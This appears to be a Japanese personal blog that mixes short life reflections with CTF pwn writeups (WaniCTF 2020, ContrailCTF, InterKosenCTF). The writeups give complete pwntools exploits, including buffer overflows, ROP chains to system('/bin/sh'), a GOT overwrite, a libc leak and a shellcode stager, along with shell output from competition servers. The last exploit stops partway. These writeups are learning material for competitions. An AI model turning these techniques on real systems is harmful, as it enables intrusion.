2024年の振り返りと2025年にむけて

新しい年がはじまるので、2024年のこと・2025年のことについてまとめておこうと思う。 自分の振り返りを文にすることが目的なので、駄文になるのはご容赦いただきたい。 あと、思考回路は個人の偏見のため気分を害された方がいたら申し訳ないです。

普段からTwitterでお世話になっているフォロワーはご承知の通りだが、2024年は仕事ばかりしていたと自分でも思う。 19連勤してみたり、月の残業80時間近くなってみたり... 土日を2日とも休めた週のほうが少なかったのではないかとおもう。 身体って正直なんだと実感した。詳細は伏せるが、健康診断に引っかかってみたり・眼科にかかって治療したり... でも、仕事が原因で身体を壊すのは癪だったため、生活習慣とか適度な運動に気を使ったこともあり経過は良好なのがせめてもの救い。

そもそも、こんなに忙しいのかと自分なりに考えると
・(企業の中で)自分にしかできないというのは必ずしもメリットになりえない
 一般社会だと他社・他人にできないというのは大きな強みになるが、会社に入ってしまうとそうでもないのかもしれない。
 自分にしかできないと、ずっと自分がしなければならず業務量(それに伴い責任)が減っていかない。
 なので、ちゃんと次の人を育てないといけないなとは思うようになった。
・色々できるようになった故の弊害
 自分は自部署に求められていることは、その部署の誰しもがすべてこなせるべきであるという思いを持って仕事をしていた。
 というのも、他部署からするとスキル不足でその人が対応できませんというのは「しらんがな」という感想しか出ないと思っていたので。
 そんなこともあり、いろんなことに対して(得意・不得意はもちろんあったが)社会人6年目で一通りはこなせるようになってきていた。
 そのため出張とかいくことになると、とりあえずMaruを行かせとけば大丈夫だろう的な風潮があった。
 まぁ、信頼してもらえているのは嬉しかったしありがたかったが、さすがに扱い雑すぎるだろという気持ちもあった。

その他諸々はあるが、自分本位で考えるとこんな感じな気がする。 当たり前であるが、みんな同じモチベーションで仕事しているわけではないので、 個々の差とか出て当たり前だがそこをどう補うかマネジメントするのが大変なのだとは思う。 部署として多忙だったため、上司に対する不満とかたくさん耳にした。 ただ、仮に自分が上司だったとして何ができたかと問われると、 アイデアがあるわけでもなかったので、同僚の不満にはすべて賛同できる気もしなかった。

ただ、正直な気持ちは、ここまで身体とプライベートを削ってまでやることか?という気持ちはあった。 小さいころから否定され続けたこともあってか自己評価があまり高くなく、 「自分が役に立てるのであれば」という気持ちで仕事を続けてきたがここまでになると、先述したような「なにやっているんだろう...」というやりきれない気持ちもあった。

そんな2024年の目標は「(労働の場面で)感謝と謝罪」としていた。
この目標にした理由は、年齢重ねるとちゃんとできないようになってくるような気がしていたため。
・自分一人では絶対できないはずなのに、当たり前のように誰かを頼りにしているとそれがさも当然のようになる
・自分の責任で迷惑をかけたことに対して、変なプライドとか感じて?謝罪しないことはしたくなかった
目標に対する自己評価は、まぁ守れていたと思うので2025年も継続したい。
もう少し「ありがとう」と言葉にできる場面はあったかもしれない。

仕事の忙しさは2025年は2024年以上になるらしい... 2025年の目標は「自己投資」かなと思っている。 自分にしかできないということが直接的なメリットではなくても、成長しなくて良い理由にはならないし、 転職とかするのであればその限りではないので。 あと、プライベートも自己投資は進めたいと思う。 30歳近いし、結婚したい(一人で生きていける自信がない)

2023年にやりたいことリスト

なんか今年の抱負を書くのが流行っているっぽいので、自分も書いておこうと思います。 TLの人に感化されたやつも含みます。 (※勝手に追加されます。)

  1. 一回は関東に行く
  2. 寝台列車に乗る(サンライズ瀬戸 or 出雲)
  3. 活字を読む(10冊)
  4. 簿記3級に合格する
  5. 好きな曲を10曲見つける
  6. 技術書を読む(5冊)
  7. 回らないお寿司を食べる
  8. 貯蓄を増やす(+100万)
  9. 資格を取得する(簿記を含まない)

WaniCTF 2020 Writeup

[Pwn] netcat

f:id:m412u:20201129093431p:plain
netcat

実行結果

m412u@ubuntu:~/CTF/wanictf/netcat$ nc netcat.wanictf.org 9001
congratulation!
ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 13 07:35 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8656 Nov 13 07:34 chall
-r--r----- 1 root pwn    33 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
cat flag.txt
FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
^C
m412u@ubuntu:~/CTF/wanictf/netcat$ 

[Pwn] var rewrite

f:id:m412u:20201129094012p:plain
var rewrite

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn02"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9002)
else:
    p = process(binfile)

payload = b""
payload += b"A" * 30
payload += p64(0x4006ce)
payload += p64(0x400b43)    # pop rdi ; ret  ;
payload += p64(0x400b74)    # /bin/sh
payload += p64(0x400746)    # system@plt

p.recvuntil("What's your name?: ")
p.sendline(payload)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/var_rewrite$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/var_rewrite/pwn02'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9002: Done
[*] Switching to interactive mode
hello AAAAAAAAAAAAAAAAAA?!
target = AAAAAAAA?

***start stack dump***
0x7fff046e0f90: 0x00007fff046e0fb0 <- rsp
0x7fff046e0f98: 0x4141414141410790
0x7fff046e0fa0: 0x4141414141414141
0x7fff046e0fa8: 0x0000003f41414141
0x7fff046e0fb0: 0x4141414141414141 <- rbp
0x7fff046e0fb8: 0x00000000004006ce <- return address
***end stack dump***

$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:43 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  9072 Nov 18 12:43 chall
-r--r----- 1 root pwn    49 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
$ exit
Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/var_rewrite$ 

[Pwn] binsh address

f:id:m412u:20201129095059p:plain
binsh address

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn03"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9003)
else:
    p = process(binfile)

p.recvuntil("The address of \"input  \" is ")
input_addr = eval(p.recv(14))
log.info("input_addr: 0x{:08x}".format(input_addr))
base_addr = input_addr - 0x2010 
log.info("base_addr: 0x{:08x}".format(base_addr))
binsh_addr = base_addr + 0x2020
log.info("binsh_addr: 0x{:08x}".format(binsh_addr))
p.sendline(hex(binsh_addr))

sleep(0.5)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/binsh_address$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/binsh_address/pwn03'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to var.wanictf.org on port 9003: Done
[*] input_addr: 0x557885c2b010
[*] base_addr: 0x557885c29000
[*] binsh_addr: 0x557885c2b020
[*] Switching to interactive mode
.
Please input "/bin/sh" address as a hex number: Your input address is 0x557885c2b020.
Congratulation!
$ ls -al
total 32
drwxr-xr-x 1 root pwn   4096 Nov 18 12:44 .
drwxr-xr-x 1 root root  4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  13176 Nov 18 12:44 chall
-r--r----- 1 root pwn     36 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn     35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
$ 
[*] Interrupted

[Pwn] got rewriter

f:id:m412u:20201129095237p:plain
got rewriter

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn04"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9004)
else:
    p = process(binfile)

p.recvuntil(": ")
p.sendline("0x601038")
p.recvuntil(": ")
p.sendline("0x400807")
sleep(0.5)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/got_rewriter$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/got_rewriter/pwn04'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9004: Done
[*] Switching to interactive mode
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8864 Nov 18 12:43 chall
-r--r----- 1 root pwn    42 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/got_rewriter$ 

[Pwn] ret rewrite

f:id:m412u:20201129095900p:plain
ret rewrite

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn05"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9005)
else:
    p = process(binfile)

payload = b""
payload += b"A" * 22
payload += p64(0x400696)
payload += p64(0x400ab3)    # pop rdi ; ret  ;
payload += p64(0x400ae4)    # /bin/sh
payload += p64(0x400700)    # system@plt

p.recvuntil("What's your name?: ")
p.sendline(payload)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/ret_rewriter$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/ret_rewriter/pwn05'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9005: Done
[*] Switching to interactive mode
Hello AAAAAAAAAA7!

***start stack dump***
0x7ffe6adafa30: 0x414141414141fb30 <- rsp
0x7ffe6adafa38: 0x0000003741414141
0x7ffe6adafa40: 0x4141414141414141 <- rbp
0x7ffe6adafa48: 0x0000000000400696 <- return address
0x7ffe6adafa50: 0x0000000000400ab3
0x7ffe6adafa58: 0x0000000000400ae4
0x7ffe6adafa60: 0x0000000000400700
***end stack dump***

$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  9024 Nov 18 12:43 chall
-r--r----- 1 root pwn    49 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/ret_rewriter$ 

[Pwn] rop func call

f:id:m412u:20201129100245p:plain
rop func call

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn06"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        set follow-fork-mode parent
        break *0x400811
        break *0x400899
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9006)
else:
    p = process(binfile)

payload = b""
payload += b"A" * 22
payload += p64(0x40065e)
payload += p64(0x400a53)    # pop rdi ; ret  ;
payload += p64(0x601080)    # /bin/sh
payload += p64(0x4006C0)    # system@plt

p.recvuntil("What's your name?: ")
sleep(0.5)
p.sendline(payload)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/rop_func_call$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/rop_func_call/pwn06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9006: Done
[*] Switching to interactive mode
hello AAAAAAAAAA7!

***start stack dump***
0x7ffc7ad7fa10: 0x4141414141410000 <- rsp
0x7ffc7ad7fa18: 0x0000003741414141
0x7ffc7ad7fa20: 0x4141414141414141 <- rbp
0x7ffc7ad7fa28: 0x000000000040065e <- return address
0x7ffc7ad7fa30: 0x0000000000400a53
0x7ffc7ad7fa38: 0x0000000000601080
0x7ffc7ad7fa40: 0x00000000004006c0
***end stack dump***

$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8992 Nov 18 12:43 chall
-r--r----- 1 root pwn    39 Nov 18 12:43 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{learning-rop-and-x64-system-call}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/rop_func_call$ 

[Pwn] one gadget rce

f:id:m412u:20201129100739p:plain
one gadget rce

exploit

from pwn import *
from sys import argv

#context.log_level = "debug"

binary = "./pwn07"

elf = ELF(binary)
libc = elf.libc

PUTS_OFF = 0x80aa0
SYSTEM_OFF = 0x4f550
BINSH_OFF = 0x1b3e1a

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binary, '''
        set follow-fork-mode parent
        break *0x400811
        break *0x400899
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("rce.wanictf.org", 9007)
else:
    p = process(binary)

payload = b""
payload += b"A" * 22
payload += p64(0x400626)    # ret   ;
payload += p64(0x400a13)    # pop rdi ; ret  ;
payload += p64(0x601020)    # puts@got
payload += p64(0x400650)    # puts@plt
payload += p64(0x40085e)    # main_addr

p.recvuntil("What's your name?: ")
p.sendline(payload)
p.recvuntil("***end stack dump***\n\n")
sleep(0.5)

# puts_gotのリーク
puts_got = u64(p.recv(6)+b"\x00\x00")    # データの整形
log.info("puts_got: 0x{:08x}".format(puts_got))

# libcのベースアドレス特定
libc_base = puts_got - PUTS_OFF
log.info("libc_base: 0x{:08x}".format(libc_base))


# 2回目の攻撃
system_addr = libc_base + SYSTEM_OFF
log.info("system_addr: 0x{:08x}".format(system_addr))
binsh_addr = libc_base + BINSH_OFF
log.info("binsh_addr: 0x{:08x}".format(binsh_addr))

payload2 = b""
payload2 += b"A" * 22
payload2 += p64(0x400626)
payload2 += p64(0x400a13)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

sleep(1)
p.recvuntil("What's your name?: ")
p.sendline(payload2)
p.recvuntil("***end stack dump***\n\n")

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/one_gadget_rce/pwn07'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to rce.wanictf.org on port 9007: Done
[*] puts_got: 0x7f2d52157aa0
[*] libc_base: 0x7f2d520d7000
[*] system_addr: 0x7f2d52126550
[*] binsh_addr: 0x7f2d5228ae1a
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8888 Nov 18 12:43 chall
-r--r----- 1 root pwn    43 Nov 18 12:43 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$ 

ContrailCTF writeup [EasyShellcode]

はじめに

 この記事では2019/12/31~2020/1/3に開催されたContrailCTFで出題されたEasyShellcodeのwriteupを紹介したいと思います.

プログラムの概要

 f:id:m412u:20200103213019p:plain

 問題を開くと上記のようなウィンドウが表示されます.ここから

$ nc 114.177.250.4 2210

で接続すると配布されているバイナリ problem が実行されているということが予想できます. 実際に接続してみると

f:id:m412u:20200103213708p:plain

Input your shellcode: と表示され入力を受け付けていることがわかります.

静的解析

ファイルの種類・セキュリティ機構

$ file ./problem 
./problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped
$ checksec.sh --file ./problem 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./problem

ディスアセンブル

$ radare2 -AA ./problem 
[Cannot analyze at 0x00000700g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00000700ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Find expanded AES keys in memory with '/ca'
[0x00000710]> pdf @ main
            ; DATA XREF from entry0 @ 0x72d
┌ 191: int main (int argc, char **argv, char **envp);
│           0x0000081a      55             push rbp
│           0x0000081b      4889e5         mov rbp, rsp
│           0x0000081e      4883ec10       sub rsp, 0x10
│           0x00000822      64488b042528.  mov rax, qword fs:[0x28]
│           0x0000082b      488945f8       mov qword [rbp - 8], rax
│           0x0000082f      31c0           xor eax, eax
│           0x00000831      41b900000000   mov r9d, 0                  ; size_t offset
│           0x00000837      41b800000000   mov r8d, 0                  ; int fd
│           0x0000083d      b922000000     mov ecx, 0x22               ; '"' ; int flags
│           0x00000842      ba07000000     mov edx, 7                  ; int prot
│           0x00000847      be64000000     mov esi, 0x64               ; 'd' ; size_t length
│           0x0000084c      bf00000000     mov edi, 0                  ; void*addr
│           0x00000851      e85afeffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│           0x00000856      488945f0       mov qword [rbp - 0x10], rax
│           0x0000085a      488d3d230100.  lea rdi, str.Input_your_shellcode: ; 0x984 ; "Input your shellcode: " ; const char *format
│           0x00000861      b800000000     mov eax, 0
│           0x00000866      e855feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0000086b      488b059e0720.  mov rax, qword [obj.stdout] ; obj.__TMC_END
│                                                                      ; [0x201010:8]=0
│           0x00000872      4889c7         mov rdi, rax                ; FILE *stream
│           0x00000875      e866feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x0000087a      488b45f0       mov rax, qword [rbp - 0x10]
│           0x0000087e      ba14000000     mov edx, 0x14               ; size_t nbyte
│           0x00000883      4889c6         mov rsi, rax                ; void *buf
│           0x00000886      bf00000000     mov edi, 0                  ; int fildes
│           0x0000088b      e840feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00000890      488b45f0       mov rax, qword [rbp - 0x10]
│           0x00000894      ba07000000     mov edx, 7
│           0x00000899      be64000000     mov esi, 0x64               ; 'd'
│           0x0000089e      4889c7         mov rdi, rax
│           0x000008a1      e84afeffff     call sym.imp.mprotect
│           0x000008a6      488d45f0       lea rax, [rbp - 0x10]
│           0x000008aa      4831d2         xor rdx, rdx
│           0x000008ad      4831ff         xor rdi, rdi
│           0x000008b0      4831f6         xor rsi, rsi
│           0x000008b3      4831db         xor rbx, rbx
│           0x000008b6      4831c9         xor rcx, rcx
│           0x000008b9      4d31c0         xor r8, r8
│           0x000008bc      4d31c9         xor r9, r9
│           0x000008bf      4d31d2         xor r10, r10
│           0x000008c2      4d31db         xor r11, r11
│           0x000008c5      4d31e4         xor r12, r12
│           0x000008c8      4d31ed         xor r13, r13
│           0x000008cb      4d31f6         xor r14, r14
│           0x000008ce      4d31ff         xor r15, r15
│           0x000008d1      4831ed         xor rbp, rbp
│           0x000008d4      4831e4         xor rsp, rsp
└           0x000008d7      ff20           jmp qword [rax]

プログラムの動作としては入力されたデータ(シェルコード)を実行するというものになっています. ただし,入力可能な長さが20(0x14)byteに制限されています.これでは一般的なx64向けのシェルコードではバッファが短すぎてすべてのデータを送り込むことができません.

x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit Linux/x86-64 - Execute /bin/sh - 27 bytes

そのため,stagerと呼ばれる手法を使用します.これは,入力できるバッファが少ない際にreadを行うシェルコードを先に送り込み,追加でシェル起動用のシェルコードを追加で読み込ませる方法です.

システムコール

 readシステムコールの書式は以下のようになっています.

#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

まず,第1引数 rdi に fd ,第2引数 rsi に *buf ,第3引数 rdx に count を格納します. そして,rax に 0 を格納して syscall を読んでやるとreadが呼ばれます.

※システムコールコール番号の確認方法

$ ausyscall x86_64 read
read               0
pread              17
readv              19
readlink           89
readahead          187
set_thread_area    205
get_thread_area    211
readlinkat         267
preadv             295
process_vm_readv   310
preadv2            327

シェルコード読み込み部分の詳細

mov rsp, rax     ; スタックフレームを復元
mov rsi, [rax]   ; シェルコードの格納先
mov rdx, 61      ; 読み込みサイズ(パディング32byte+シェルコード29byte)
xor rax, rax     ; raxを0に(readのシステムコール番号)
syscall
jmp rsi          ; シェルコード格納先へジャンプ

エクスプロイト

from pwn import *
from sys import argv
from time import sleep

context.log_level = "INFO"
binfile = "./problem"
context.binary = binfile
elf = ELF(binfile)

p = remote("114.177.250.4", 2210)

payload = b""
payload += asm('''
mov rsp, rax
mov rsi, [rax]
mov rdx, 61
xor rax, rax
syscall
jmp rsi
''')

padding = b"\x90" * 0x20
shellcode = b""
shellcode += asm('''
xor rdx, rdx
push rdx
movabs rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx+0x3b]
syscall
''')

p.recvuntil("Input your shellcode: ")
p.send(payload)
p.send(padding+shellcode)

p.interactive()

動作例

f:id:m412u:20200104000733p:plain

おわりに

 参加していただいた方々,本当にありがとうございます.  間違い等ございましたら連絡よろしくお願いします.

参考

inaz2.hatenablog.com

linuxjm.osdn.jp

CTFと共に一年を振り返って

はじめに

 この記事は Contrail Advent Calendar 1日目の記事です.
 今年もAdventCalendarの季節になりました.これまでは読むだけでしたが,せっかくなので書いてみようと挑戦してみました.が,技術?系以外の記事を書くのは初めてなので上手く書けてるかわかりません.また,タイトルでは1年となっていますが,4年ぐらい振り返っています.


CTFとMaru

CTFとの出会い (2015)

 僕がCTFと出会ったのは大学へ入学したのと同じ年の2015年のことでした.学部では競技プログラミングこそ講義中にアナウンスされたりしていましたが,セキュリティ関係でそのような話はありませんでした.そのため,自分で似たようなことがないのか調べている最中にCTFを見つけました.そしてすぐに「CTF for ビギナーズ in 長野」(現SECCON Beginners)へ参加しました.1 この勉強会の最後にはミニCTFがあるのですが結果は散々でした.はっきり申し上げると下から2番目でした.この年の春に大学へ入学し,プログラミングをはじめてターミナルなんかの操作も cd,ls がやっとだったので当然といえば当然だったのかもしれません.当時の自分にとってはかなりショックでしたが,今思えばこの経験がすべての始まりだったのかもしれません.

CTFとのお付き合い

はじめて参加した勉強会のあともCTFに対しての熱は冷めませんでした.その年(2015年)の夏休みの終わりで人間関係とかから部活を辞めていて,また何かをやめることが怖かったしなによりフラグを通すのが楽しかったのだと思います.それからというもの自分のペースで常設CTFに挑戦していきました.その中で自分は主にPwnに取り組みました.その理由として,Pwn問の中にはCのソースコードが配布される問題があります.大学でも授業ではC言語を取り扱っていたので少しは解くためのきっかけがつかめるのではないかと考えたからです.しかし,Pwnでは普段のCプログラミングではあまり注目することのない低レイヤーな部分の知識が必要となってきます.

Contrailの誕生 (2016)

 CTFtimeなどからCTFに参加するには形だけでもチームが必要な場合が多いので1人でContrailを立ち上げました.CTFTimeに残っている最古の記録はSharifCTF 7への参加なのでおそらくその頃に作成したのだと思います.ちなみにチーム名の由来はそのころ使っていたのPCの壁紙が飛行機と飛行機雲だったからです.自分のアイコンが飛べない鳥ペンギンであること,飛行機雲が空を飛ぶことへの憧れだったとか深い意味はありません.マジです.


 チームを作ったはいいものの普段は常設CTFを自分のペースで解いていました.毎週末開催される様なCTFはレベルが高すぎる+時間が圧倒的に足りないので気が向いたときに自分が納得するまで試すことができる常設CTFはとてもありがたいものでした.その中でも LSECTF とCpawCTF2には特にお世話になりました.記録 からわかるようにかなり長期間に渡って挑戦しています.Pwn(Exploit)ではソースコードが配布されるものもあるのでとっつきやすいのではないかと思います.  

再挑戦 (2017)

 2017年に「SECCON Beginners 名古屋」に参加しました.2 一応,長野のリベンジのつもりとして参加しました.3 紆余曲折ありながらも継続してきたことが良かったのかある程度の問題は解けるようになっていました.その中で解けなかった問題を勉強会の終了直後から復習しました.大学の講義中もカタカタしながら最後まで残ったRev問 のフラグは You are not beginners でした.全くの初心者からはじめてコツコツと継続したものが少し報われたような気がして嬉しかったことをいまでも覚えています.

この経験からPwnを中心に取り組んで行こうと決めて(なんで!?),前述したLSECTFなどで練習をしました.ハリネズミ本の物理本を章ごとで割いてPwnの章をいつも持ち歩いて読んでいました(作者様すみません).


新たな環境へ (2019)

 2019年の3月に大学を卒業するにあたり,様々な理由からプログラマ・ITエンジニアの様な仕事には就けなかったのでそれを期にCTFは辞めようと考えていました.でも,そのまま辞めてしまうのはもったいないと感じたので大学に全部置いて行こうと決めました.そのアウトプットとして学内でLT,勉強会を開催させていただきました.4

ContrailとMaru

 今年の春,やっぱりCTFを続けたい・気軽にCTFに関する話題で会話できればという思いからチームメンバーを募集しました.自分の想像を超えて多くの方から連絡をいただき本当に嬉しく思います.


 

チーム勉強会とMaru

 8月にチームの参加可能なメンバー+交流のある方をお誘いしてCTF勉強会を開催しました.その間はすべてのリソースをCTFへ割ける素晴らしさを感じました(またしたい).皆さんの豊富な知識や技術に圧倒されながらも,CTFに対する思いは強くなりました.偶然時期が重なって開催されたCTFでは普段では諦めてしまいそうな問題も取り組むことができました.  勉強会の雰囲気はハッシュタグ #Contrail勉強会 で検索していただくとなんとなく感じていただけるのではないかと思います.


これから

 変わらない足取りを


おわりに

 短いですが最後まで読んでいただきありがとうございます.

 チームのメンバー,TwitterなどSNSで良くして頂いている方,勉強会に協力・参加してくださった学内の関係者各位,本当にありがとうございます.この場を借りてお礼を伝えたいと思います.また,ブログ上であることお許しください.

 TwitterのDMは開放しておりますので,ご意見,ご感想,ご質問等々あれば連絡していただけると幸いです.

 次の記事は@y05h1k1ngさんの「Contrail修行日記を書きます」です.よろしくお願いします.


ONE

ONE

  • Aimer
  • J-Pop
  • ¥255
music.apple.com



  1. 参考:電算 「CTF for ビギナーズ 2015 長野」初開催に協力↩

  2. 参考:SECCON Beginners名古屋受付は終了しました。↩

  3. ブログ書きながら気づいたんですが大体2年の記念日だったんですね.(長野:2015/7/5,名古屋:2017/7/1)↩

  4. その際の資料はSpeakerDeckに置いてあります.↩

InterKosenCTF stegorop writeup

はじめに

 チームContrailとして参加しました.CTFにチームでワイワイしながら取り組むことの楽しさを実感した大会でした.ただ,自分はPwnしかわからないので後半は置物と化しており,複数のジャンルを知っていたら...と改善点もみえました.

自分はwelcome問以外だとPwnを2問通しました.fastbinの問題は適当にやってたらフラグが出てきたのでWriteupかけません.なので,stegoropについて書きたいと思います.

プログラムの概略

問題文にbrainf * ckとあったのでポインタをいじる系の問題かなと予想して取り掛かりました. しかし,実行してみると文字列の入力を受け付けてbrainf * ckに変換して出力するだけの様子.

方針

 実行してみるとわかりますが,単純にスタックベースのBOFが存在します. libcが配布されていたこともあり,いつもの通りlibcのリークにとりかかりました. 問題なくリークが行えたため,ret2vulnでmain関数に処理を戻そうとしたところで問題が発生しました. 下に示すようにmain関数終了時にlockに 1 が格納され,2度目にmain関数を呼ぶ際に 1 であると abort が発生してプログラムが終了していまいます.

f:id:m412u:20190813213309p:plain

そのため,一度目に送り込むペイロードをlibcリークとmain()の途中にあるreadに処理を飛ばすようにしました. そうすることで,ROP chainが開始し,lockを埋める 0 と one-gadget rceのアドレスを追加で読み込ませました.

エクスプロイトコード

from pwn import *
from sys import argv

context.log_level = "INFO"

binary = "./chall"

elf = ELF(binary)

if len(argv) >= 2 and sys.argv[1] == "r":
    p = remote("pwn.kosenctf.com", 9002)
    libc = ("./libc-2.27.so")
    PUTS_OFF = 0x809c0
else:
    p = gdb.debug(binary, '''
        break *0x400914
        break *0x4008e1
        continue
    ''')
    PUTS_OFF = 0x809c0
    
payload = b""
payload += b"A" * 112
payload += p64(0x601149+0x70)
payload += p64(0x4009b3)    # pop rdi ; ret  ;
payload += p64(0x601028)    # puts@got
payload += p64(0x400620)    # puts@plt
payload += p64(0x4005ee)    # ret ;
payload += p64(0x4008e1)    # main関数の途中
payload += p64(0x40087c)    # main関数の先頭

p.recvuntil("Input: ")
p.send(payload)

p.recvline()

puts_got = u64(p.recv(6)+b"\x00\x00")    # データの整形
log.info("puts_got: 0x{:08x}".format(puts_got))

